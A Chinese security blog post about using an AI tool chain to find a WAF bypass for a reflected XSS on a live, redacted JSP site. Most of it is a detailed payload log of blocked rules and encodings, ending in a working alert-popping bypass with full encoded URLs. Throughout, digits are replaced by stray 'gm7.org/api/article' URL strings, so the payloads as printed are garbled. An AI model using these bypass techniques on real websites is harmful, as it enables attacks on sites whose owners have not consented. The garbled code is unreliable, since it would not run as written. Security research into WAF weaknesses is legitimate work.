原创
xazlsec
xazlsec
信安之路
2026年7月28日 https://gm7.org/api/article/10:26
山西
在小说阅读器读本章
去阅读
信安之路官网:www.xazlsec.com,服务包括:自学成长平台、体系化学安全知识库、SRC 资产监控、历史漏洞POC
在实战中测试发现一个疑似存在 XSS 漏洞的参数接口,可控参数位置如图:
双引号未转义和编码,当插入明显的弹窗 payload 时,发现被 WAF 拦截后,请求重置了,如图:
如果想利用该漏洞实现弹窗验证,该如何组合 payload?这是一个复杂的问题,在没有 AI 之前,需要超强的技术储备以及大量测试才可实现,既然有了 AI,那就让它来吧,工具使用 Trae IDE,配置好自己的 DeepSeek API key,然后安装好 Chrome DevTools MCP 服务,然后就可以开始测试了。最终组合出的 Payload:
word=%22%3Bvar%20g%3Ddocument.defaultView%3Bg%5B(https://gm7.org/api/article/10).toString(36)%2B(2https://gm7.org/api/article/1).toString(36)%2B(https://gm7.org/api/article/14).toString(36)%2B(27).toString(36)%2B(29).toString(36)%5D(https://gm7.org/api/article/1)%2F%2F
实战效果如图:
全部测试完成,只消耗了 3 毛钱,性价比超高:
对我而言,整个测试过程非常有价值,当然我认为对你来说也是很想知道它是如何一步一步测试的,于是我让他将整个测试过程进行了总结,形成文档供大家参考。XSS WAF 绕过分析与测试报告如下:
https://gm7.org/api/article/1. 目标概述
- 目标地址:
http://xxxxx.jsp?word=asddsdd - 漏洞参数:
word - 漏洞类型: Reflected XSS(参数内容回显在页面中)
- 测试目标: 找到能绕过 WAF 并执行弹窗(
alert/confirm/prompt)的 payload
初始 Payload 素材
来自 xss 知识文件中的各类 href-based XSS payload,涵盖:
| 类型 | 示例 |
|---|---|
| 基本 javascript: | link |
| HTML 实体编码 | link |
| VBScript | link |
| 反引号语法 | link |
| 十六进制转义 | Hello |
| URL 编码 | link |
| Hex 转义 | 2 |
| Base64 | test |
| 混合编码 | <iframe/src=\"data:text/html;	base64
,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==\"> |
2. 注入点分析
2.https://gm7.org/api/article/1 参数回显位置
访问 http://xxxxxx?word=XXXXX 后,通过分析 HTML 源码,发现参数在 三个位置回显:
位置 https://gm7.org/api/article/1: 页面文本内容(div)
检索条件:XXXXX
位置 2: JavaScript 字符串上下文(关键注入点)
$(function(){
varword=\"XXXXX\"; // ← 这里是注入点
$(\"#ac_keybox_0\").val(word);
})
位置 3: 搜索框 input 的 value 属性
2.2 注入点选择
位置 2(JavaScript 字符串上下文)是最有希望的注入点,因为突破字符串后可以直接执行任意 JavaScript 代码:
varword=\"\";[CODE_HERE]//\";
3. WAF 探测与规则分析
3.https://gm7.org/api/article/1 测试方法
通过逐次修改 word 参数值,观察服务器响应来判断 WAF 规则:
- 连接重置 (
ERR_CONNECTION_RESET) → WAF 在网络层拦截(检测到 JS 执行相关模式) - 返回\"非法请求\"页面 → WAF 在应用层拦截(检测到 HTML 标签等)
- 正常返回页面 → 通过检测
3.2 WAF 规则详细清单
规则组 A: HTML 标签(触发\"非法请求\")
| 测试 Payload | 结果 |
|---|---|
word=testhttps://gm7.org/api/article/123 |
正常 |
word=hello |
非法请求 |
word=click |
非法请求 |
word=<script>alert(https://gm7.org/api/article/1)</script> |
连接重置(同时触发了规则组A和B) |
word=<img src=x onerror=alert(https://gm7.org/api/article/1)> |
连接重置 |
结论: 任何包含 < 的 HTML 标签都被应用层 WAF 拦截。
规则组 B: 危险函数名 + 括号/反引号(触发连接重置)
| 测试 Payload | 结果 | 说明 |
|---|---|---|
word=alert(https://gm7.org/api/article/1) |
连接重置 | 基本 alert 调用 |
word=alert(https://gm7.org/api/article/1 |
正常 | 无闭合括号 |
word=alert |
正常 | 单独函数名 |
word=aLeRt(https://gm7.org/api/article/1) |
连接重置 | 大小写不敏感 |
word=confirm(https://gm7.org/api/article/1) |
连接重置 | confirm 同样被拦截 |
word=confirm\\https://gm7.org/api/article/1`` |
连接重置 | 反引号语法也被拦截 |
word=confirm\\https://gm7.org/api/article/1` |
正常 | 无闭合反引号 |
word=prompt(https://gm7.org/api/article/1) |
连接重置 | prompt 同样被拦截 |
word=eval(https://gm7.org/api/article/1) |
连接重置 | eval 被拦截 |
word=Function('a') |
连接重置 | 构造函数被拦截 |
word=setTimeout('a',0) |
连接重置 | setTimeout 被拦截 |
word=fromCharCode(97) |
连接重置 | fromCharCode 被拦截 |
word=write(https://gm7.org/api/article/1) |
正常 | 允许 |
word=atob('a') |
正常 | 允许 |
word=unescape('a') |
正常 | 允许 |
word=Reflect.get(https://gm7.org/api/article/1,'a') |
正常 | 允许 |
word=alerta(https://gm7.org/api/article/1) |
正常 | 随机函数名允许 |
结论: WAF 维护了一个危险函数名黑名单(大小写不敏感),检测到这些函数名与 ( 或反引号 ` 组合时触发连接重置。
规则组 C: 全局对象 + 方括号 + 函数调用(触发连接重置)
| 测试 Payload | 结果 |
|---|---|
word=this[https://gm7.org/api/article/1] |
正常(无函数调用) |
word=this[https://gm7.org/api/article/1](https://gm7.org/api/article/1) |
连接重置 |
word=self[https://gm7.org/api/article/1](https://gm7.org/api/article/1) |
连接重置 |
word=window[https://gm7.org/api/article/1](https://gm7.org/api/article/1) |
连接重置 |
word=top[https://gm7.org/api/article/1](https://gm7.org/api/article/1) |
连接重置 |
word=parent[https://gm7.org/api/article/1](https://gm7.org/api/article/1) |
连接重置 |
word=g[https://gm7.org/api/article/1](https://gm7.org/api/article/1) (g 是普通变量) |
正常 |
word=x[https://gm7.org/api/article/1](https://gm7.org/api/article/1) (x 是未定义变量) |
正常 |
结论: WAF 检测 this[ / self[ / window[ / top[ / parent[ 后跟 ]( 的模式。
规则组 D: constructor 原型链遍历(触发连接重置)
| 测试 Payload | 结果 |
|---|---|
word=([].constructor) |
正常 |
word=([].constructor.constructor('https://gm7.org/api/article/1')()) |
连接重置 |
word=([].constructor['constructor']('https://gm7.org/api/article/1')()) |
连接重置 |
word=var c=[];c['constructor']('https://gm7.org/api/article/1') |
连接重置 |
结论: constructor[ + ]( 或 constructor.constructor( 均被拦截。
规则组 E: function 关键字 + 立即执行(触发连接重置)
| 测试 Payload | 结果 |
|---|---|
word=(function(){}) |
正常(未执行) |
word=(function(){})() |
连接重置 |
word=(()=>https://gm7.org/api/article/1)() |
正常(箭头函数允许) |
结论: function 关键字 + {}() 模式被拦截,但箭头函数 IIFE 可以绕过。
规则组 F: 编码绕过检测(全部失败)
| 测试 Payload | 结果 | 说明 |
|---|---|---|
word=\\u006https://gm7.org/api/article/1lert(https://gm7.org/api/article/1) |
连接重置 | Unicode 转义被检测 |
word=\\x6https://gm7.org/api/article/1lert\\x28\\x3https://gm7.org/api/article/1\\x29 |
连接重置 | 十六进制转义被检测 |
word=\\https://gm7.org/api/article/14https://gm7.org/api/article/1\\https://gm7.org/api/article/154\\https://gm7.org/api/article/145\\https://gm7.org/api/article/162\\https://gm7.org/api/article/164\\050\\06https://gm7.org/api/article/1\\05https://gm7.org/api/article/1 |
连接重置 | 八进制转义被检测 |
word='ale'+'rt(https://gm7.org/api/article/1)' |
连接重置 | 字符串拆分被检测(推测 WAF 重构了字符串) |
word=atob('YWxlcnQoMSk=') |
连接重置 | Base64 被解码检测 |
word=atob('YWxlcnQ=') |
非法请求 | Base64 编码的 alert 函数名也被检测 |
结论: WAF 具备极强的解码能力,包括 URL 解码、Unicode 解码、Base64 解码、字符串重构等。
4. 绕过尝试历程
阶段 https://gm7.org/api/article/1: 基础尝试(全部失败)
| ### | Payload | 结果 | 原因 |
|---|---|---|---|
| https://gm7.org/api/article/1 | <script>alert(https://gm7.org/api/article/1)</script> |
连接重置 | HTML标签 + alert( |
| 2 | \"><img src=x onerror=alert(https://gm7.org/api/article/1)> |
连接重置 | 同上 |
| 3 | link |
连接重置 | HTML标签 |
| 4 | \");alert(https://gm7.org/api/article/1);// |
连接重置 | alert( 被拦截 |
| 5 | test\"onfocus=\"open()\"// |
非法请求 | HTML 属性注入 |
阶段 2: 确认基本注入能力
| ### | Payload | 结果 | 意义 |
|---|---|---|---|
| 6 | alert(https://gm7.org/api/article/1 |
正常 | 确认 WAF 检测闭合括号 |
| 7 | alert |
正常 | 单独函数名安全 |
| 8 | alerta(https://gm7.org/api/article/1) |
正常 | 随机函数名安全 |
| 9 | x(https://gm7.org/api/article/1) |
正常 | 简单函数调用安全 |
| https://gm7.org/api/article/10 | x[https://gm7.org/api/article/1](https://gm7.org/api/article/1) |
正常 | 方括号调用安全 |
| https://gm7.org/api/article/1https://gm7.org/api/article/1 | \";location=https://gm7.org/api/article/1// |
跳转主页面 | 确认 JavaScript 代码可以执行! |
阶段 3: 解码绕过尝试
| ### | Payload | 结果 |
|---|---|---|
| https://gm7.org/api/article/12 | \\u006https://gm7.org/api/article/1lert(https://gm7.org/api/article/1) |
连接重置 |
| https://gm7.org/api/article/13 | \\u006https://gm7.org/api/article/1lert\\x28\\x3https://gm7.org/api/article/1\\x29 |
连接重置 |
| https://gm7.org/api/article/14 | \\https://gm7.org/api/article/14https://gm7.org/api/article/1\\https://gm7.org/api/article/154\\https://gm7.org/api/article/145\\https://gm7.org/api/article/162\\https://gm7.org/api/article/164\\050\\06https://gm7.org/api/article/1\\05https://gm7.org/api/article/1 |
连接重置 |
| https://gm7.org/api/article/15 | 'ale'+'rt(https://gm7.org/api/article/1)' |
连接重置 |
| https://gm7.org/api/article/16 | atob('YWxlcnQoMSk=') |
连接重置 |
| https://gm7.org/api/article/17 | atob('YWx')+atob('ZXJ0KDEp') |
连接重置 |
阶段 4: 原型链 & 函数构造绕过
| ### | Payload | 结果 |
|---|---|---|
| https://gm7.org/api/article/18 | ([]).constructor |
正常 |
| https://gm7.org/api/article/19 | ([]).constructor.constructor('return https://gm7.org/api/article/1')() |
连接重置 |
| 20 | ([]).constructor['constructor']('https://gm7.org/api/article/1')() |
连接重置 |
| 2https://gm7.org/api/article/1 | var c=[];c['constructor']('https://gm7.org/api/article/1')() |
连接重置 |
| 22 | (function(){})() |
连接重置 |
| 23 | (()=>https://gm7.org/api/article/1)() |
正常(可执行但无法调用 alert) |
阶段 5: 对象引用绕过
| ### | Payload | 结果 |
|---|---|---|
| 24 | Reflect.get(window,'a')(https://gm7.org/api/article/1) |
连接重置 |
| 25 | Reflect.get(https://gm7.org/api/article/1,'a') |
正常 |
| 26 | Reflect.get(this,'a')(https://gm7.org/api/article/1) |
连接重置 |
| 27 | document.defaultView['a'](https://gm7.org/api/article/1) |
正常! |
| 28 | var g=document.defaultView;g['a'](https://gm7.org/api/article/1) |
正常! |
阶段 6: 函数名构造绕过
| ### | Payload | 结果 |
|---|---|---|
| 29 | g['ale'+'rt'](https://gm7.org/api/article/1) |
连接重置 |
| 30 | g[atob('YWxlcnQ=')](https://gm7.org/api/article/1) |
非法请求(WAF 检测到 base64 编码的 alert) |
| 3https://gm7.org/api/article/1 | g[(https://gm7.org/api/article/10).toString(36)+(2https://gm7.org/api/article/1).toString(36)+(https://gm7.org/api/article/14).toString(36)+(27).toString(36)+(29).toString(36)](https://gm7.org/api/article/1) |
成功!弹出 alert(https://gm7.org/api/article/1) |
5. 成功 Payload
5.https://gm7.org/api/article/1 最终绕过 Payload
\";var g=document.defaultView;g(https://gm7.org/api/article/10).toString(36)+(2https://gm7.org/api/article/1).toString(36)+(https://gm7.org/api/article/14).toString(36)+(27).toString(36)+(29).toString(36)//
5.2 完整 URL
http://xxxxx.jsp?word=%22%3Bvar%20g%3Ddocument.defaultView%3Bg%5B(https://gm7.org/api/article/10).toString(36)%2B(2https://gm7.org/api/article/1).toString(36)%2B(https://gm7.org/api/article/14).toString(36)%2B(27).toString(36)%2B(29).toString(36)%5D(https://gm7.org/api/article/1)%2F%2F
5.3 绕过原理拆解
\"; // 突破 JavaScript 字符串
varg=document.defaultView; // 获取 window 对象(避开 window/self/this 关键字)
g[ // 方括号属性访问
(https://gm7.org/api/article/10).toString(36) + // 'a'
(2https://gm7.org/api/article/1).toString(36) + // 'l'
(https://gm7.org/api/article/14).toString(36) + // 'e'
(27).toString(36) + // 'r'
(29).toString(36) // 't'
] // → g['alert'] → window.alert
(https://gm7.org/api/article/1) // 调用 alert(https://gm7.org/api/article/1)
// // 注释掉后续代码
5.4 同款变体(反引号语法)
对应知识文件中 line 2https://gm7.org/api/article/1 的 confirm\\https://gm7.org/api/article/1`` 风格:
\";var g=document.defaultView;g[(https://gm7.org/api/article/10).toString(36)+(2https://gm7.org/api/article/1).toString(36)+(https://gm7.org/api/article/14).toString(36)+(27).toString(36)+(29).toString(36)]https://gm7.org/api/article/1//
URL:
http://xxxxx.jsp?word=%22%3Bvar%20g%3Ddocument.defaultView%3Bg%5B(https://gm7.org/api/article/10).toString(36)%2B(2https://gm7.org/api/article/1).toString(36)%2B(https://gm7.org/api/article/14).toString(36)%2B(27).toString(36)%2B(29).toString(36)%5D%60https://gm7.org/api/article/1%60%2F%2F
5.5 绕过技巧对应表
| WAF 规则 | 绕过方法 |
|---|---|
拦截 alert( |
用 (https://gm7.org/api/article/10).toString(36) 逐字母构造 'alert',alert 关键字不出现在 URL 中 |
拦截 this[ / self[ / window[ |
用 document.defaultView 获取 window 对象 |
拦截方括号+函数调用 s[https://gm7.org/api/article/1](https://gm7.org/api/article/1) |
普通变量的方括号调用不被拦截(g['alert'](https://gm7.org/api/article/1) 通过) |
| 拦截 Base64 编码 | toString(36) 只有数字和 dot 号,不触发 Base64 检测 |
拦截 function(){}() |
不使用函数声明,直接用语句执行 |
拦截 ( 闭合模式 |
(https://gm7.org/api/article/1) 单独出现不被拦截,只在特定函数名后触发 |
6. 成功验证
测试过程中浏览器 成功弹出了 alert: https://gm7.org/api/article/1 对话框,并通过 handle_dialog 确认关闭:
Navigation timeout of https://gm7.org/api/article/10000 ms exceeded.
Open dialog
alert: https://gm7.org/api/article/1.
Call handle_dialog to handle it before continuing.
7. 总结
无法绕过的方式
素材文件中的所有 `` 类 payload 均无法直接使用,因为:
- 注入点不在
` 标签的href属性中,而在-->









评论